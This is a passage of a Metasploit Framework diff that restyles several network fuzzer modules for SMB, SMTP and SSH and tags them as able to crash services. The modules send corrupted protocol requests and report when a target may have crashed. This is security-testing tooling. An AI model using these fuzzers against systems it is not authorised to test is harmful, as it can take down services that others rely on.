Pipe Request Fuzzer', + 'Description' => %q{ + This module sends a series of SMB create pipe + requests using malicious strings. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) end - def do_smb_create(pkt,opts={}) + def do_smb_create(pkt, _opts = {}) @connected = false connect smb_login @connected = true - smb_create("\\" + pkt) + smb_create('\\' + pkt) end def run @@ -37,7 +46,7 @@ def run fuzz_strings do |str| cnt += 1 - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}") end @@ -45,16 +54,16 @@ def run do_smb_create(str, 0.25) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb index 4c0b293539b29..8f100c70d80d3 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb @@ -3,28 +3,37 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'SMB Create Pipe Request Corruption', - 'Description' => %q{ - This module sends a series of SMB create pipe requests with corrupted bytes. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'SMB Create Pipe Request Corruption', + 'Description' => %q{ + This module sends a series of SMB create pipe requests with corrupted bytes. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test']), - OptString.new('SMBPIPE', [true, 'Specify the pipe name to corrupt', "\\BROWSER"]) + OptString.new('SMBPIPE', [true, 'Specify the pipe name to corrupt', '\\BROWSER']) ]) deregister_options('SMB::ProtocolVersion') end - def do_smb_login(pkt,opts={}) + def do_smb_login(pkt, opts = {}) @connected = false connect(versions: [1]) smb_login @@ -35,7 +44,6 @@ def do_smb_login(pkt,opts={}) end def run - # Connect in order to get the server-assigned user-id/tree-id connect(versions: [1]) smb_login @@ -50,30 +58,30 @@ def run max = datastore['MAXDEPTH'].to_i max = nil if max == 0 - tot = ( max ? [max,pkt.length].min : pkt.length) * 256 + tot = (max ? [max, pkt.length].min : pkt.length) * 256 print_status("Fuzzing SMB create pipe with #{tot} requests") - fuzz_string_corrupt_byte_reverse(pkt,max) do |str| + fuzz_string_corrupt_byte_reverse(pkt, max) do |str| cnt += 1 - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt}/#{tot} using #{@last_fuzzer_input}") end begin - r = do_smb_login(str, 0.25) + do_smb_login(str, 0.25) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end @@ -86,15 +94,14 @@ def run end def make_smb_create - filename = datastore['SMBPIPE'] disposition = 1 impersonation = 2 pkt = Rex::Proto::SMB::Constants::SMB_CREATE_PKT.make_struct - self.simple.client.smb_defaults(pkt['Payload']['SMB']) + simple.client.smb_defaults(pkt['Payload']['SMB']) - pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NT_CREATE_ANDX + pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NT_CREATE_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x18 pkt['Payload']['SMB'].v['Flags2'] = 0x2001 pkt['Payload']['SMB'].v['WordCount'] = 24 diff --git a/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb index 94d8691e10872..877e73dcf311a 100644 --- a/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb @@ -3,26 +3,35 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'SMB Negotiate Dialect Corruption', - 'Description' => %q{ - This module sends a series of SMB negotiate requests with corrupted bytes - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'SMB Negotiate Dialect Corruption', + 'Description' => %q{ + This module sends a series of SMB negotiate requests with corrupted bytes + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(445), OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test']) ]) end - def do_smb_negotiate(pkt,opts={}) + def do_smb_negotiate(pkt, opts = {}) @connected = false connect @connected = true @@ -40,30 +49,30 @@ def run max = datastore['MAXDEPTH'].to_i max = nil if max == 0 - tot = ( max ? [max,pkt.length].min : pkt.length) * 256 + tot = (max ? [max, pkt.length].min : pkt.length) * 256 print_status("Fuzzing SMB negotiate packet with #{tot} requests") - fuzz_string_corrupt_byte_reverse(pkt,max) do |str| + fuzz_string_corrupt_byte_reverse(pkt, max) do |str| cnt += 1 - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt}/#{tot} using #{@last_fuzzer_input}") end begin - r = do_smb_negotiate(str, 0.25) + do_smb_negotiate(str, 0.25) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end @@ -78,13 +87,13 @@ def run def make_smb_negotiate # The SMB 2 dialect must be there dialects = ['PC NETWORK PROGRAM 1.0', 'LANMAN1.0', 'Windows for Workgroups 3.1a', 'LM1.2X002', 'LANMAN2.1', 'NT LM 0.12'] - data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('') + data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('') pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE pkt['Payload']['SMB'].v['Flags1'] = 0x18 pkt['Payload']['SMB'].v['Flags2'] = 0xc853 - pkt['Payload'].v['Payload'] = data + pkt['Payload'].v['Payload'] = data pkt.to_s end end diff --git a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb index f952b35765abb..93efed91a4749 100644 --- a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb @@ -3,20 +3,29 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'SMB NTLMv1 Login Request Corruption', - 'Description' => %q{ - This module sends a series of SMB login requests using - the NTLMv1 protocol with corrupted bytes. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'SMB NTLMv1 Login Request Corruption', + 'Description' => %q{ + This module sends a series of SMB login requests using + the NTLMv1 protocol with corrupted bytes. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(445), OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test']) @@ -24,7 +33,7 @@ def initialize(info = {}) deregister_options('SMB::ProtocolVersion') end - def do_smb_login(pkt,opts={}) + def do_smb_login(pkt, opts = {}) @connected = false connect(versions: [1]) simple.client.negotiate(false) @@ -44,30 +53,30 @@ def run max = datastore['MAXDEPTH'].to_i max = nil if max == 0 - tot = ( max ? [max,pkt.length].min : pkt.length) * 256 + tot = (max ? [max, pkt.length].min : pkt.length) * 256 print_status("Fuzzing SMB login with #{tot} requests") - fuzz_string_corrupt_byte_reverse(pkt,max) do |str| + fuzz_string_corrupt_byte_reverse(pkt, max) do |str| cnt += 1 - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt}/#{tot} using #{@last_fuzzer_input}") end begin - r = do_smb_login(str, 0.25) + do_smb_login(str, 0.25) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end @@ -80,11 +89,10 @@ def run end def make_smb_login - - user = "USER" - domain = "DOMAIN" - hash_lm = Rex::Proto::NTLM::Crypt.lanman_des("X", "X" * 8) - hash_nt = Rex::Proto::NTLM::Crypt.ntlm_md4("X", "X" * 8) + user = 'USER' + domain = 'DOMAIN' + hash_lm = Rex::Proto::NTLM::Crypt.lanman_des('X', 'X' * 8) + hash_nt = Rex::Proto::NTLM::Crypt.ntlm_md4('X', 'X' * 8) data = '' data << hash_lm diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb index 580c7b3e246ff..bbe32be2f72ad 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb @@ -3,23 +3,32 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'SMB Tree Connect Request Fuzzer', - 'Description' => %q{ - This module sends a series of SMB tree connect - requests using malicious strings. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'SMB Tree Connect Request Fuzzer', + 'Description' => %q{ + This module sends a series of SMB tree connect + requests using malicious strings. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) end - def do_smb_connect(pkt,opts={}) + def do_smb_connect(pkt, _opts = {}) @connected = false connect simple.login( @@ -43,7 +52,7 @@ def run fuzz_strings do |str| cnt += 1 - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}") end @@ -51,16 +60,16 @@ def run do_smb_connect(str, 0.25) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb index d9902b48775ea..c3b9e98e98b72 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb @@ -3,28 +3,37 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'SMB Tree Connect Request Corruption', - 'Description' => %q{ - This module sends a series of SMB tree connect requests with corrupted bytes. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'SMB Tree Connect Request Corruption', + 'Description' => %q{ + This module sends a series of SMB tree connect requests with corrupted bytes. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test']), - OptString.new('SMBTREE', [true, 'Specify the tree name to corrupt', "\\\\SERVER\\IPC$"]) + OptString.new('SMBTREE', [true, 'Specify the tree name to corrupt', '\\\\SERVER\\IPC$']) ]) deregister_options('SMB::ProtocolVersion') end - def do_smb_tree(pkt,opts={}) + def do_smb_tree(pkt, opts = {}) @connected = false connect(versions: [1]) simple.login( @@ -40,7 +49,6 @@ def do_smb_tree(pkt,opts={}) end def run - # Connect in order to get the server-assigned user-id connect(versions: [1]) smb_login @@ -55,30 +63,30 @@ def run max = datastore['MAXDEPTH'].to_i max = nil if max == 0 - tot = ( max ? [max,pkt.length].min : pkt.length) * 256 + tot = (max ? [max, pkt.length].min : pkt.length) * 256 print_status("Fuzzing SMB tree connect with #{tot} requests") - fuzz_string_corrupt_byte_reverse(pkt,max) do |str| + fuzz_string_corrupt_byte_reverse(pkt, max) do |str| cnt += 1 - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt}/#{tot} using #{@last_fuzzer_input}") end begin - r = do_smb_tree(str, 0.25) + do_smb_tree(str, 0.25) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end @@ -93,7 +101,7 @@ def run def make_smb_tree share = datastore['SMBTREE'] pass = '' - data = [ pass, share, '?????' ].collect{ |a| a + "\x00" }.join(''); + data = [ pass, share, '?????' ].collect { |a| a + "\x00" }.join('') pkt = Rex::Proto::SMB::Constants::SMB_TREE_CONN_PKT.make_struct simple.client.smb_defaults(pkt['Payload']['SMB']) diff --git a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb index b38d4d44731e8..19fe4883f5d43 100644 --- a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb +++ b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb @@ -8,6 +8,7 @@ # It allows to respect the order or just throw everything at it.... ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp include Msf::Auxiliary::Fuzzer @@ -15,22 +16,27 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'SMTP Simple Fuzzer', + 'Name' => 'SMTP Simple Fuzzer', 'Description' => 'SMTP Simple Fuzzer', - 'References' => - [ - ['URL', 'http://www.ietf.org/rfc/rfc2821.txt'], - ], - 'Author' => 'justme', - 'License' => MSF_LICENSE + 'References' => [ + ['URL', 'http://www.ietf.org/rfc/rfc2821.txt'], + ], + 'Author' => 'justme', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options([ Opt::RPORT(25), - OptInt.new("STARTLEN", [true, "Length of the string - start number", 100] ), - OptInt.new("INTERACTIONS", [false, "Number of interactions to run", 100] ), - OptBool.new("RESPECTORDER", [false, "Respect order of commands", true] ), - OptEnum.new("CMD", [true,"Command to fuzzer",'EHLO', + OptInt.new('STARTLEN', [true, 'Length of the string - start number', 100]), + OptInt.new('INTERACTIONS', [false, 'Number of interactions to run', 100]), + OptBool.new('RESPECTORDER', [false, 'Respect order of commands', true]), + OptEnum.new('CMD', [ + true, 'Command to fuzzer', 'EHLO', [ 'EHLO', 'HELO', @@ -39,29 +45,27 @@ def initialize 'DATA', 'VRFY', 'EXPN' - ], 'EHLO']) + ], 'EHLO' + ]) ]) end - def smtp_send(data='', con=true) - begin - @result='' - @coderesult='' - if (con) - @connected=false - connect - end - @connected=true - sock.put(data) - @result=sock.get_once - @codresult=@result[0..2] - rescue ::Exception => e - print_error(e.to_s) + def smtp_send(data = '', con: true) + @result = '' + @coderesult = '' + if con + @connected = false + connect end + @connected = true + sock.put(data) + @result = sock.get_once + @codresult = @result[0..2] + rescue StandardError => e + print_error(e.to_s) end - def run_host(ip) - begin + def run_host(_ip) last_str = nil last_inp = nil last_err = nil @@ -72,84 +76,81 @@ def run_host(ip) cnt += 1 str = fuzzer_gen_string(cnt) - cmd=datastore['CMD'] + cmd = datastore['CMD'] begin - if (datastore['RESPECTORDER']) + if datastore['RESPECTORDER'] case cmd - when "HELO", "EHLO", "VRFY", "EXPN" - c = datastore['CMD'] + " " + str + "\r\n" - smtp_send(c,true) - #print_status(c) + when 'HELO', 'EHLO', 'VRFY', 'EXPN' + c = datastore['CMD'] + ' ' + str + "\r\n" + smtp_send(c) + # print_status(c) disconnect - when "MAILFROM" - c ="EHLO localhost\r\n" - smtp_send(c,true) - #print_status(c) - c="MAIL FROM:<" + str + ">\r\n" - smtp_send(c,false) + when 'MAILFROM' + c = "EHLO localhost\r\n" + smtp_send(c) + # print_status(c) + c = 'MAIL FROM:<' + str + ">\r\n" + smtp_send(c) disconnect - #print_status(c) - when "RCPTTO" - c ="EHLO localhost\r\n" - smtp_send(c,true) - #print_status(c) - c="MAIL FROM:<" + datastore['MAILFROM'] + ">\r\n" - smtp_send(c,false) - #print_status(c) - c="RCPT TO:<" + str + ">\r\n" - smtp_send(c,false) - #print_status(c) + # print_status(c) + when 'RCPTTO' + c = "EHLO localhost\r\n" + smtp_send(c) + # print_status(c) + c = 'MAIL FROM:<' + datastore['MAILFROM'] + ">\r\n" + smtp_send(c, con: false) + # print_status(c) + c = 'RCPT TO:<' + str + ">\r\n" + smtp_send(c, con: false) + # print_status(c) disconnect - when "DATA" - c ="EHLO localhost\r\n" - smtp_send(c,true) - #print_status(c) - c="MAIL FROM:<" + datastore['MAILFROM'] + ">\r\n" - smtp_send(c,false) - #print_status(c) - c="RCPT TO:<" + datastore['MAILTO'] + ">\r\n" - smtp_send(c,false) - #print_status(c) - c="DATA \r\n" - smtp_send(c,false) - c= str + "\r\n.\r\n" - smtp_send(c,false) - #print_status(c) + when 'DATA' + c = "EHLO localhost\r\n" + smtp_send(c) + # print_status(c) + c = 'MAIL FROM:<' + datastore['MAILFROM'] + ">\r\n" + smtp_send(c, con: false) + # print_status(c) + c = 'RCPT TO:<' + datastore['MAILTO'] + ">\r\n" + smtp_send(c, con: false) + # print_status(c) + c = "DATA \r\n" + smtp_send(c, con: false) + c = str + "\r\n.\r\n" + smtp_send(c, con: false) + # print_status(c) disconnect end else - c = datastore['CMD'] + " " + str + "\r\n" - smtp_send(c,true) - #print_status(c) + c = datastore['CMD'] + ' ' + str + "\r\n" + smtp_send(c) + # print_status(c) disconnect end print_status("Fuzzing with iteration #{interaction}\n #{@result}") - rescue ::Interrupt print_status("Exiting on interrupt: iteration #{interaction} using string #{str}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e - #ensure - #disconnect + # ensure + # disconnect end - - if(not @connected) - if(last_str) - print_status("The service may have crashed: iteration:#{interection-1} String=''#{last_str}'' error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: iteration:#{interection - 1} String=''#{last_str}'' error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end - return + break end last_str = str last_inp = @last_fuzzer_input end end - end end diff --git a/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb b/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb index 07cc7e6789c9d..22887701c90ba 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb @@ -3,36 +3,45 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'SSH Key Exchange Init Corruption', - 'Description' => %q{ - This module sends a series of SSH requests with a corrupted initial key exchange payload. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'SSH Key Exchange Init Corruption', + 'Description' => %q{ + This module sends a series of SSH requests with a corrupted initial key exchange payload. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(22), OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test']) ]) end - def do_ssh_kexinit(pkt,opts={}) + def do_ssh_kexinit(pkt, opts = {}) @connected = false connect @connected = true - @banner = sock.get_once(-1,opts[:banner_timeout]) - return if not @banner + @banner = sock.get_once(-1, opts[:banner_timeout]) + return if !@banner sock.put("SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1\r\n") sock.put(pkt) - sock.get_once(-1,opts[:kex_timeout]) + sock.get_once(-1, opts[:kex_timeout]) end def run @@ -45,38 +54,38 @@ def run max = datastore['MAXDEPTH'].to_i max = nil if max == 0 - tot = ( max ? [max,pkt.length].min : pkt.length) * 256 + tot = (max ? [max, pkt.length].min : pkt.length) * 256 print_status("Fuzzing SSH initial key exchange with #{tot} requests") - fuzz_string_corrupt_byte_reverse(pkt,max) do |str| + fuzz_string_corrupt_byte_reverse(pkt, max) do |str| cnt += 1 - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt}/#{tot} using #{@last_fuzzer_input}") end begin - r = do_ssh_kexinit(str,:banner_timeout => 5, :kex_timeout => 0.5) + do_ssh_kexinit(str, banner_timeout: 5, kex_timeout: 0.5) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end return end - if(not @banner) - print_status("The service may have crashed (no banner): iteration:#{cnt-1} method=#{last_inp} string=#{last_str.to_s.unpack("H*")[0]} ") + if !@banner + print_status("The service may have crashed (no banner): iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.to_s.unpack('H*')[0]} ") return end @@ -86,104 +95,106 @@ def run end def make_kex_init - [0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f, - 0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7, - 0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00, - 0x00, 0x7e, 0x64, 0x69, 0x66, 0x66, 0x69, 0x65, - 0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d, 0x61, 0x6e, - 0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x2d, 0x65, - 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x2d, - 0x73, 0x68, 0x61, 0x32, 0x35, 0x36, 0x2c, 0x64, - 0x69, 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65, - 0x6c, 0x6c, 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72, - 0x6f, 0x75, 0x70, 0x2d, 0x65, 0x78, 0x63, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x2d, 0x73, 0x68, 0x61, - 0x31, 0x2c, 0x64, 0x69, 0x66, 0x66, 0x69, 0x65, - 0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d, 0x61, 0x6e, - 0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x31, 0x34, - 0x2d, 0x73, 0x68, 0x61, 0x31, 0x2c, 0x64, 0x69, - 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65, 0x6c, - 0x6c, 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72, 0x6f, - 0x75, 0x70, 0x31, 0x2d, 0x73, 0x68, 0x61, 0x31, - 0x00, 0x00, 0x00, 0x0f, 0x73, 0x73, 0x68, 0x2d, - 0x72, 0x73, 0x61, 0x2c, 0x73, 0x73, 0x68, 0x2d, - 0x64, 0x73, 0x73, 0x00, 0x00, 0x00, 0x9d, 0x61, - 0x65, 0x73, 0x31, 0x32, 0x38, 0x2d, 0x63, 0x62, - 0x63, 0x2c, 0x33, 0x64, 0x65, 0x73, 0x2d, 0x63, - 0x62, 0x63, 0x2c, 0x62, 0x6c, 0x6f, 0x77, 0x66, - 0x69, 0x73, 0x68, 0x2d, 0x63, 0x62, 0x63, 0x2c, - 0x63, 0x61, 0x73, 0x74, 0x31, 0x32, 0x38, 0x2d, - 0x63, 0x62, 0x63, 0x2c, 0x61, 0x72, 0x63, 0x66, - 0x6f, 0x75, 0x72, 0x31, 0x32, 0x38, 0x2c, 0x61, - 0x72, 0x63, 0x66, 0x6f, 0x75, 0x72, 0x32, 0x35, - 0x36, 0x2c, 0x61, 0x72, 0x63, 0x66, 0x6f, 0x75, - 0x72, 0x2c, 0x61, 0x65, 0x73, 0x31, 0x39, 0x32, - 0x2d, 0x63, 0x62, 0x63, 0x2c, 0x61, 0x65, 0x73, - 0x32, 0x35, 0x36, 0x2d, 0x63, 0x62, 0x63, 0x2c, - 0x72, 0x69, 0x6a, 0x6e, 0x64, 0x61, 0x65, 0x6c, - 0x2d, 0x63, 0x62, 0x63, 0x40, 0x6c, 0x79, 0x73, - 0x61, 0x74, 0x6f, 0x72, 0x2e, 0x6c, 0x69, 0x75, - 0x2e, 0x73, 0x65, 0x2c, 0x61, 0x65, 0x73, 0x31, - 0x32, 0x38, 0x2d, 0x63, 0x74, 0x72, 0x2c, 0x61, - 0x65, 0x73, 0x31, 0x39, 0x32, 0x2d, 0x63, 0x74, - 0x72, 0x2c, 0x61, 0x65, 0x73, 0x32, 0x35, 0x36, - 0x2d, 0x63, 0x74, 0x72, 0x00, 0x00, 0x00, 0x9d, - 0x61, 0x65, 0x73, 0x31, 0x32, 0x38, 0x2d, 0x63, - 0x62, 0x63, 0x2c, 0x33, 0x64, 0x65, 0x73, 0x2d, - 0x63, 0x62, 0x63, 0x2c, 0x62, 0x6c, 0x6f, 0x77, - 0x66, 0x69, 0x73, 0x68, 0x2d, 0x63, 0x62, 0x63, - 0x2c, 0x63, 0x61, 0x73, 0x74, 0x31, 0x32, 0x38, - 0x2d, 0x63, 0x62, 0x63, 0x2c, 0x61, 0x72, 0x63, - 0x66, 0x6f, 0x75, 0x72, 0x31, 0x32, 0x38, 0x2c, - 0x61, 0x72, 0x63, 0x66, 0x6f, 0x75, 0x72, 0x32, - 0x35, 0x36, 0x2c, 0x61, 0x72, 0x63, 0x66, 0x6f, - 0x75, 0x72, 0x2c, 0x61, 0x65, 0x73, 0x31, 0x39, - 0x32, 0x2d, 0x63, 0x62, 0x63, 0x2c, 0x61, 0x65, - 0x73, 0x32, 0x35, 0x36, 0x2d, 0x63, 0x62, 